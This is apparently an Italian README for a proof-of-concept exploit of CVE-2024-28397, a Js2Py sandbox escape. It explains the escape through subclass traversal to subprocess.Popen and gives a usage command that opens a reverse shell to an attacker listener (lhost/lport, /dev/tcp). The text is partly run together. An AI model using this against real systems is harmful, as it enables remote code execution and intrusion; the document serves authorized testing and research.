
Questo repository contiene una prova di concetto (PoC) per CVE-2024-28397, una vulnerabilità nella libreria js2py che consente una sandbox escape per ottenere l'esecuzione remota di codice.
Descrizione
Questo repository contiene una Proof of Concept (PoC) basata su Python per CVE-2024-28397, una vulnerabilità di sandbox escape nell'interprete JavaScript Js2Py per Python. Quando l'applicazione target valuta codice JS non attendibile tramite Js2Py, un attaccante può uscire dalla sandbox ed eseguire codice Python arbitrario. Questo può essere sfruttato per ottenere l'esecuzione remota di codice (RCE) e una reverse shell sul sistema vulnerabile.
Questo exploit è stato ispirato dal progetto CVE-2024-28397-js2py-Sandbox-Escape di Marven11.
Avvertenza
Questo script è fornito esclusivamente a scopo educativo e per test di penetrazione autorizzati. L'uso non autorizzato di questo script contro sistemi di cui non si è proprietari o per i quali non si ha esplicita autorizzazione è illegale e non etico. L'autore non si assume alcuna responsabilità per un uso improprio o per danni causati da questo script.
Informazioni sulla Vulnerabilità
__class__.__base__.__subclasses__, con conseguente esecuzione arbitraria di codiceCaratteristiche
Requisiti
requests (pip install requests)/dev/tcp)Utilizzo
python3 exploit.py --target http://example.htb --lhost 10.10.14.51 --lport 4444
--target: L'URL completo dell'endpoint dell'app web vulnerabile--lhost: Il tuo indirizzo IP locale (usato per la reverse shell)--lport: La tua porta locale per ricevere la shellCome funziona
__class__.__base__.__subclasses__() per trovare subprocess.Popen.Popen per decodificare ed eseguire la shell.